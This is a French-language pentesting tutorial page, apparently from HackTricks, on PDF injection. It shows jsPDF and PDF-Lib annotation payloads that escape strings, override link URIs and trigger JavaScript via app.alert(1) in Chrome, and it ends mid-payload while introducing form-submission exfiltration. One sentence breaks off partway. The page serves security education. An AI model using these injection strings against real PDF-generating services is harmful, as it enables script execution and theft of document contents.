hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection.md
2023-06-03 13:10:46 +00:00

6.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si votre entrée est reflétée dans un fichier PDF, vous pouvez essayer d'injecter des données PDF pour exécuter JavaScript ou voler le contenu PDF.

Les informations suivantes ont été prises sur https://portswigger.net/research/portable-data-exfiltration

PDF-Lib

Cette fois, j'utilisais PDFLib. J'ai pris un certain temps pour utiliser la bibliothèque afin de créer une annotation et voir si je pouvais injecter une parenthèse fermante dans l'URI de l'annotation - et ça a marché ! Le code vulnérable que j'ai utilisé pour générer le code d'annotation était :

...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...

Code complet :

Comment ai-je su que l'injection avait réussi ? Le PDF s'affichait correctement sauf si j'injectais une parenthèse fermante. Cela a prouvé que la parenthèse fermante sortait de la chaîne de caractères et causait un code PDF invalide. Casser le PDF était bien, mais je devais m'assurer que je pouvais bien sûr exécuter JavaScript. J'ai regardé le code PDF rendu et j'ai remarqué que la sortie était encodée en utilisant le filtre FlateDecode. J'ai écrit un petit script pour décompresser le bloc et la sortie de la section d'annotation ressemblait à ceci :<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>

Comme vous pouvez le voir clairement, la chaîne d'injection ferme la limite de texte avec une parenthèse fermante, ce qui laisse une parenthèse fermante existante qui provoque un rendu incorrect du PDF :

Capture d'écran montrant une boîte de dialogue d'erreur lors du chargement du PDF

Super, j'ai pu casser le rendu du PDF, et maintenant ? Je devais trouver une injection qui appelait du JavaScript - l'alerte(1) de l'injection PDF.

Tout comme les vecteurs XSS dépendent de l'analyse du navigateur, l'exploitabilité de l

Chrome

J'ai beaucoup parlé d'Acrobat, mais qu'en est-il de PDFium (le lecteur PDF de Chrome) ? Chrome est difficile à attaquer car sa prise en charge de JavaScript est plus limitée que celle d'Acrobat. La première chose que j'ai remarquée est que JavaScript n'était pas du tout exécuté dans les annotations, donc mes preuves de concept ne fonctionnaient pas. Pour faire fonctionner les vecteurs dans Chrome, j'ai besoin d'exécuter au moins du JavaScript à l'intérieur des annotations. Tout d'abord, j'ai décidé d'essayer d'écraser une URL dans une annotation. C'était assez facile. Je pouvais utiliser l'injection de base que j'avais trouvée auparavant et simplement injecter une autre action avec une entrée URI qui écraserait l'URL existante : var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
/Type/Action>>/F 0>>(`});
doc.text(20, 20, 'Test text');

Cela naviguerait vers portswigger.net lorsqu'on clique dessus. Ensuite, j'ai essayé différentes injections pour appeler JavaScript, mais cela a échoué à chaque fois. Je pensais que c'était impossible à faire. J'ai pris du recul et j'ai essayé de construire manuellement un PDF entier qui appellerait JavaScript à partir d'un clic dans Chrome sans injection. Lorsque j'utilisais un bouton AcroForm, Chrome permettait l'exécution de JavaScript, mais le problème était qu'il nécessitait des références à des parties du PDF. J'ai réussi à créer une injection qui exécuterait JavaScript à partir d'un clic sur JSPDF : var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
doc.text(20, 20, 'Click me test');

Comme vous pouvez le voir, le vecteur ci-dessus nécessite une connaissance de la structure PDF. [ 3 0 R] fait référence à un objet PDF spécifique et si nous faisions une attaque d'injection PDF aveugle, nous ne connaîtrions pas sa structure. Néanmoins, la prochaine étape consiste à essayer une soumission de formulaire. Nous pouvons utiliser la fonction submitForm pour cela, et comme l'annotation nécessite un clic, Chrome le permettra : `/) >> >> <</BS<</S/B/W 0>>/Type/